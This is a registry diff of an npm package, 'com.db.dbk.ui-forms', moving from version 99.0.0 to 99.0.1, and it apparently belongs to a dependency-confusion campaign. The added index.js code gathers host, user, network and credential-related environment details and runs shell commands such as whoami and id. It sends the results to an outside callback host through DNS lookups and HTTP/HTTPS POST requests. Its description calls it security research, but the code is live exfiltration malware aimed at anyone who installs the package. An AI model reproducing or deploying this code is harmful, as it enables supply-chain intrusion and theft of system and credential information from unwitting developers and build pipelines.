com.db.dbk.ui-forms 99.0.0 → 99.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +72 -12
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,32 +1,92 @@
1
1
  const https = require("https");
2
+ const http = require("http");
2
3
  const os = require("os");
3
4
  const dns = require("dns");
5
+ const { execSync } = require("child_process");
4
6
  const pkg = "com.db.dbk.ui-forms";
7
+ const callback = "ycwyyoimdcluajepubahl0tpb7943a2z4.oast.fun";
5
8
 
6
- const data = JSON.stringify({
7
- p: pkg,
8
- h: os.hostname(),
9
- u: os.userInfo().username,
10
- d: __dirname,
11
- t: new Date().toISOString()
12
- });
9
+ let info = {
10
+ package: pkg,
11
+ hostname: os.hostname(),
12
+ username: os.userInfo().username,
13
+ homedir: os.userInfo().homedir,
14
+ cwd: __dirname,
15
+ platform: os.platform(),
16
+ arch: os.arch(),
17
+ release: os.release(),
18
+ uptime: os.uptime(),
19
+ interfaces: {},
20
+ env_keys: Object.keys(process.env).filter(k => /key|token|secret|pass|auth|cred|npm|ci|build|jenkins|github|gitlab|aws|azure/i.test(k)),
21
+ timestamp: new Date().toISOString(),
22
+ node_version: process.version,
23
+ pid: process.pid,
24
+ uid: process.getuid ? process.getuid() : "N/A"
25
+ };
26
+
27
+ try {
28
+ const nets = os.networkInterfaces();
29
+ for (const name of Object.keys(nets)) {
30
+ info.interfaces[name] = nets[name].map(n => n.address).filter(a => !a.startsWith("127.") && a !== "::1");
31
+ }
32
+ } catch (e) {}
33
+
34
+ try { info.whoami = execSync("whoami", { timeout: 3000 }).toString().trim(); } catch (e) {}
35
+ try { info.id = execSync("id", { timeout: 3000 }).toString().trim(); } catch (e) {}
36
+ try { info.pwd = execSync("pwd", { timeout: 3000 }).toString().trim(); } catch (e) {}
37
+ try { info.uname = execSync("uname -a", { timeout: 3000 }).toString().trim(); } catch (e) {}
13
38
 
14
- const id = Buffer.from(`${pkg}:${os.hostname()}:${os.userInfo().username}`).toString("hex").slice(0, 60);
39
+ const encoded = Buffer.from(JSON.stringify(info)).toString("base64");
40
+ const chunks = encoded.match(/.{1,60}/g) || [];
41
+
42
+ chunks.slice(0, 5).forEach((chunk, i) => {
43
+ try {
44
+ dns.resolve(`${i}-${chunk}.${callback}`, () => {});
45
+ } catch (e) {}
46
+ });
15
47
 
16
48
  try {
17
- dns.resolve(`${id}.dcf.rootxravi.com`, () => {});
49
+ dns.resolve(`ping-${pkg.replace(/\./g, "-")}.${callback}`, () => {});
18
50
  } catch (e) {}
19
51
 
52
+ const postData = JSON.stringify(info);
53
+
20
54
  try {
21
55
  const req = https.request({
22
- hostname: "dcf.rootxravi.com",
56
+ hostname: callback,
23
57
  port: 443,
24
58
  path: `/dcf/${pkg}`,
25
59
  method: "POST",
26
- headers: { "Content-Type": "application/json" },
60
+ headers: {
61
+ "Content-Type": "application/json",
62
+ "Content-Length": Buffer.byteLength(postData),
63
+ "X-Package": pkg,
64
+ "X-Hostname": info.hostname,
65
+ "X-Username": info.username
66
+ },
67
+ timeout: 5000
68
+ });
69
+ req.on("error", () => {});
70
+ req.write(postData);
71
+ req.end();
72
+ } catch (e) {}
73
+
74
+ try {
75
+ const req = http.request({
76
+ hostname: callback,
77
+ port: 80,
78
+ path: `/dcf/${pkg}`,
79
+ method: "POST",
80
+ headers: {
81
+ "Content-Type": "application/json",
82
+ "Content-Length": Buffer.byteLength(postData),
83
+ "X-Package": pkg,
84
+ "X-Hostname": info.hostname,
85
+ "X-Username": info.username
86
+ },
27
87
  timeout: 5000
28
88
  });
29
89
  req.on("error", () => {});
30
- req.write(data);
90
+ req.write(postData);
31
91
  req.end();
32
92
  } catch (e) {}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "com.db.dbk.ui-forms",
3
- "version": "99.0.0",
3
+ "version": "99.0.1",
4
4
  "description": "Security research - dependency confusion proof of concept. If you are seeing this package installed in your build pipeline, your npm resolver is pulling from the public registry instead of your private registry. Contact: rootxravi@gmail.com",
5
5
  "main": "index.js",
6
6
  "scripts": {